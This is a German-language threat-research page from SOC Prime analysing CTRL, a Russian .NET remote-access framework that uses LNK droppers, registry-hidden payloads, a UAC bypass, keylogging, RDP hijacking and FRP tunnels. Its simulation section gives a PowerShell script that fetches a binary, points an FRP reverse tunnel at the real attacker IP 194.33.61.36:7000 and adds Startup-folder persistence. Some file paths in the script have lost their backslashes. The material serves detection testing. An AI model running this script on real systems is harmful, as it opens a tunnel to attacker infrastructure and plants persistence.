SOC Prime Bias: Kritisch

31 März 2026 17:07

Unter CTRL: Analyse eines bisher undokumentierten russischen .Net-Zugriffs-Frameworks

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
Unter CTRL: Analyse eines bisher undokumentierten russischen .Net-Zugriffs-Frameworks
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Censys ARC hat ein bisher undokumentiertes russisches Remote-Zugriffs-Toolkit namens CTRL entdeckt, das Credential-Phishing, Keylogging, RDP-Entführung und auf FRP basierende Reverse-Tunnel kombiniert. Das Framework wird über eine bösartige LNK-Datei geliefert und versteckt seine Binärdateien innerhalb der Windows-Registrierung, wo sie später direkt in den Speicher geladen werden. Seine Netzwerkinfrastruktur umfasst die Domain hui228.ru und zwei IP-Adressen, die einen FRP-Server auf Port 7000 betreiben. Das Toolkit zielt auf Windows-Hosts ab und erhält Persistenz durch geplante Aufgaben, versteckte lokale Benutzerkonten und registrierungsbasierte Änderungen.

Untersuchung

Forscher identifizierten den LNK-Dropper, rekonstruierten den geschichteten PowerShell-Loader und verfolgten gestapelte .NET-Binärdateien, die als REG_BINARY Werte unter Explorer-Registrierungsschlüsseln gespeichert sind. Der Stager lädt dann nachfolgende Payloads herunter, erstellt einen verdeckten ctrl.exe-Loader, konfiguriert FRP-Tunnel und setzt den RDP Wrapper ein, um unbeschränkte Remote-Sitzungen zu ermöglichen. Keines der beobachteten Artefakte erschien in öffentlichen Bedrohungsanalyse-Feeds, was darauf hindeutet, dass das Framework eine private und zweckbestimmte Zugriffsplattform ist.

Minderung

Verteidiger sollten auf ungewöhnliche Registrierungsänderungen unter Explorer-Schlüsseln achten, die Erstellung von geplanten Aufgaben mit den Namen DriverSvcTask, NetTcpSvc, TermSvcHost oder WindowsHealthMonitor und versteckte lokale Konten, die den Administratoren- oder Remotedesktop-Benutzergruppen hinzugefügt werden. Ausgehende Verbindungen zu den identifizierten IP-Adressen und FRP-Port 7000 sollten blockiert werden, und FRP-Protokollverkehr auf unerwarteten Systemen sollte gekennzeichnet werden. Nicht autorisierte Installationen von FRP oder RDP Wrapper sollten entfernt und die Ausführung von PowerShell streng kontrolliert werden.

Reaktion

Wenn CTRL-bezogene Aktivitäten gefunden werden, isolieren Sie den Endpunkt, ermitteln Sie die LNK-Datei und den relevanten Registrierungsknoten zur forensischen Analyse, stoppen Sie den ctrl.exe-Prozess und entfernen Sie die zugehörigen geplanten Aufgaben. Neu erstellte lokale Konten sollten deaktiviert, unautorisierte RDP-Berechtigungen widerrufen und exponierte Anmeldeinformationen rotiert werden. Die Teams sollten dann die erweiterte Umgebung nach weiteren FRP-Servern durchsuchen und Erkennungsregeln mit den beobachteten IOCs aktualisieren.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Aktion</b> – <b>T1204.002 Benutzerausführung</b>: Opfer klickt auf bösartige .lnk-Verknüpfung"] class action_user_exec action action_lnk_smuggle["<b>Aktion</b> – <b>T1027.012 LNK-Symbolverschleierung</b>: Verknüpfung tarnt sich mit Ordnersymbol"] class action_lnk_smuggle action action_powershell["<b>Aktion</b> – <b>T1059.001 PowerShell</b>: Versteckter PowerShell-Befehl dekodiert Payload"] class action_powershell action action_deobfuscate["<b>Aktion</b> – <b>T1140 Deobfuscate/Decode Files</b>: Mehrere Base64- und Deflate-Stufen"] class action_deobfuscate action action_obfuscation["<b>Aktion</b> – <b>T1027 Verschleierte Dateien oder Informationen</b>: Zufällige Variablennamen und Laufzeitzeichenkonstruktion"] class action_obfuscation action action_shortcut_persistence["<b>Aktion</b> – <b>T1547.009 Verknüpfungsänderung</b>: LNK dient als Persistenzmechanismus"] class action_shortcut_persistence action action_scheduled_tasks["<b>Aktion</b> – <b>T1053 Geplante Aufgabe/Job</b>: Vier Aufgaben erstellt, um Binärdateien beim Start auszuführen"] class action_scheduled_tasks action action_create_account["<b>Aktion</b> – <b>T1136.001 Kontoerstellung</b>: Verstecktes lokales Administratorkonto hinzugefügt"] class action_create_account action action_uac_bypass["<b>Aktion</b> – <b>T1548 Missbrauch des Erhöhungskontrollmechanismus</b>: Fodhelper.exe Registry-Hijack umgeht UAC"] class action_uac_bypass action action_proxy_execution["<b>Aktion</b> – <b>T1218 Proxy-Ausführung des Systembinaries</b>: wlrmdr.exe verwendet, um Payload mit erhöhten Rechten auszuführen"] class action_proxy_execution action action_priv_esc["<b>Aktion</b> – <b>T1068 Ausnutzung für Privilegienstufung</b>: patcht termsrv.dll und installiert RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Aktion</b> – <b>T1036 Maskierung</b>: Dateien in versteckten Verzeichnissen mit legitim aussehenden Namen abgelegt"] class action_masquerade action action_hide_artifacts["<b>Aktion</b> – <b>T1564 Artifakte verbergen</b>: Defender-Ausschlüsse, Zeitstempelfälschung, Registry-Imitation"] class action_hide_artifacts action action_keylogging["<b>Aktion</b> – <b>T1056.001 Eingabenerfassung – Keylogging</b>: Niedrigstufiger Tastatur-Hook schreibt in C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Aktion</b> – Anmeldedatenernte: Benutzerdefinierte WPF Windows Hello-Benutzeroberfläche erfasst PINs"] class action_cred_harvest action action_rdp["<b>Aktion</b> – <b>T1021.001 Ferndienste – RDP</b>: RDP Wrapper ermöglicht Remote-Desktop-Zugriff"] class action_rdp action action_rdp_hijack["<b>Aktion</b> – <b>T1563.002 Übernahme einer Remote-Dienstsitzung</b>: Angreifer spiegelt aktive Sitzungen über mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Aktion</b> – <b>T1090.002 Proxy – Externer Proxy</b>: FRP-Tunnel zu hui228.ru:7000 fungiert als externer Proxy"] class action_frp_proxy action action_encrypted_channel["<b>Aktion</b> – <b>T1573 Verschlüsselter Kanal</b>: FRP-Verkehr verschlüsselt, AES-256-CBC-Payload-Entschlüsselung"] class action_encrypted_channel action action_valid_accounts["<b>Aktion</b> – <b>T1078.003 Gültige Konten – Lokale Konten</b>: Verstecktes Admin-Konto verwendet für Persistenz und laterale Bewegung"] class action_valid_accounts action action_lateral_movement["<b>Aktion</b> – Seitliche Bewegung: Verwendung gültiger lokaler Admin-Konten zur Verbreitung im Netzwerk"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Tool</b> – Bewaffnete .lnk-Verknüpfung<br/><b>Datei</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Tool</b> – PowerShell<br/><b>Zweck</b>: Ausführen eines versteckten Skripts, das .NET-Stager dekodiert und dekomprimiert"] class tool_powershell tool process_stager["<b>Prozess</b> – .NET-Stager als REG_BINARY unter HKCU…Explorer gespeichert"] class process_stager process tool_fodhelper["<b>Tool</b> – fodhelper.exe (Windows-Dienstprogramm)"] class tool_fodhelper tool tool_wlrmdr["<b>Tool</b> – wlrmdr.exe (signierte Microsoft-Binärdatei)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Tool</b> – RDP Wrapper<br/><b>Funktion</b>: Ermöglicht unbegrenzte gleichzeitige RDP-Sitzungen"] class tool_rdpwrapper tool tool_frp["<b>Tool</b> – FRP-Client<br/><b>Funktion</b>: Reverse-Tunnel zu externem Server"] class tool_frp tool keylog_file["<b>Datei</b> – C:Tempkeylog.txt<br/><b>Inhalt</b>: Erfasste Tastenanschläge"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|startet| tool_lnk tool_lnk –>|löst aus| action_lnk_smuggle action_lnk_smuggle –>|führt zu| action_powershell action_powershell –>|führt aus| tool_powershell tool_powershell –>|speichert Payload in| process_stager process_stager –>|dekodiert von| action_deobfuscate action_deobfuscate –>|ermöglicht| action_obfuscation action_obfuscation –>|unterstützt| action_shortcut_persistence action_shortcut_persistence –>|erstellt| action_scheduled_tasks action_scheduled_tasks –>|erstellt| action_create_account action_create_account –>|ermöglicht| action_uac_bypass action_uac_bypass –>|verwendet| tool_fodhelper action_uac_bypass –>|verwendet| tool_wlrmdr action_uac_bypass –>|ermöglicht| action_proxy_execution action_proxy_execution –>|erleichtert| action_priv_esc action_priv_esc –>|installiert| tool_rdpwrapper action_priv_esc –>|ermöglicht| action_masquerade action_masquerade –>|führt zu| action_hide_artifacts action_hide_artifacts –>|fügt hinzu| action_keylogging action_keylogging –>|schreibt in| keylog_file action_keylogging –>|unterstützt| action_cred_harvest action_cred_harvest –>|ermöglicht| action_rdp action_rdp –>|verwendet für| action_rdp_hijack action_rdp_hijack –>|richtet ein| action_frp_proxy action_frp_proxy –>|bietet| action_encrypted_channel action_encrypted_channel –>|erlaubt| action_valid_accounts action_valid_accounts –>|verwendet für| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "

Angriffsfluss

Erkennungen

Mögliche Schattenbildung von Remotedesktopdiensten (via registry_event)

SOC Prime Team
31. März 2026

Verdächtige PowerShell-Zeichenfolgen (via powershell)

SOC Prime Team
31. März 2026

Verdächtige PowerShell-Zeichenfolgen (via cmdline)

SOC Prime Team
31. März 2026

Verdächtige Änderungen der Windows Defender-Einstellungen (via powershell)

SOC Prime Team
31. März 2026

Privilegienstufung (UAC-Umgehung) in FodHelper (via registry_event)

SOC Prime Team
31. März 2026

IOCs (HashSha256) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks

SOC Prime AI-Regeln
31. März 2026

IOCs (DestinationIP) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks

SOC Prime AI-Regeln
31. März 2026

IOCs (Emails) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks

SOC Prime AI-Regeln
31. März 2026

IOCs (SourceIP) zum Erkennen: Unter CTRL: Zergliederung eines bisher undokumentierten russischen .Net-Zugriffsframeworks

SOC Prime AI-Regeln
31. März 2026

Erkennen von bösartigen FRP-Reverse-Tunneling-Verbindungen [Windows-Netzwerkverbindung]

SOC Prime AI-Regeln
31. März 2026

Erkennen der CTRL-Toolkit-Persistenz über Explorer-Registrierungsschlüssel [Windows-Registrierungsereignis]

SOC Prime AI-Regeln
31. März 2026

Erkennen von verschleierter PowerShell-Ausführung mit kodierter Payload [Windows PowerShell]

SOC Prime AI-Regeln
31. März 2026

Simulationsausführung

Voraussetzung: Der Telemetrie- & Basislinien-Vorabflugcheck muss bestanden sein.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat bereits den FRP-Client (frp.exe) über einen bösartigen Phishing-Anhang auf den kompromittierten Windows-Host fallen gelassen. Um die Persistenz aufrechtzuerhalten, registriert der Angreifer eine Verknüpfung im Startordner, die FRP mit einer Konfiguration zum C2-Server startet 194.33.61.36:7000. Wenn sich der Benutzer anmeldet, startet die Verknüpfung FRP, das einen umgekehrten TCP-Tunnel zurück zum Angreifer öffnet, wodurch der Angreifer jeden lokalen Dienst (z.B. SMB) durch den Tunnel weiterleiten kann. Die von FRP generierte Netzwerkverbindung stimmt mit den Kriterien der Regel überein dst_ip and dst_port und löst einen Alarm aus.

  • Regressionstest-Skript: (PowerShell – eigenständig)

    # =============================================================================
    # FRP Reverse-Tunnel-Simulation – löst Sigma-Regel fcb13968-1490-44c2-9f9f-c1ad2b668ce6 aus
    # =============================================================================
    # Variablen
    $frpUrl      = "https://example.com/frp.exe"          # durch eine erreichbare Test-Binärdatei ersetzen
    $frpPath     = "$env:ProgramDatafrp.exe"
    $cfgPath     = "$env:ProgramDatafrp_client.ini"
    $c2Ip        = "194.33.61.36"
    $c2Port      = "7000"
    $startupLnk  = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk"
    
    # 1. FRP-Binärdatei herunterladen (simuliert – verwenden Sie eine beliebige kleine ausführbare Datei für den Test)
    Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing
    
    # 2. Minimale FRP-Client-Konfiguration erstellen
    @"
    [common]
    server_addr = $c2Ip
    server_port = $c2Port
    
    [ssh]
    type = tcp
    local_port = 22
    remote_port = 6000
    "@ | Set-Content -Path $cfgPath -Encoding ASCII
    
    # 3. Eine Verknüpfung im Startordner erstellen, um FRP beim Starten auszuführen
    $ws = New-Object -ComObject WScript.Shell
    $shortcut = $ws.CreateShortcut($startupLnk)
    $shortcut.TargetPath = $frpPath
    $shortcut.Arguments  = "-c `"$cfgPath`""
    $shortcut.WorkingDirectory = Split-Path $frpPath
    $shortcut.Save()
    
    # 4. FRP jetzt starten (damit wir die Telemetrie sofort sehen können)
    Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden
    
    Write-Host "FRP-Reverse-Tunnel gestartet. Überprüfen Sie SIEM auf Erkennung."
  • Bereinigungskommandos:

    # FRP-Prozess stoppen
    Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Dateien und Verknüpfung entfernen
    Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue
    
    Write-Host "Bereinigung abgeschlossen."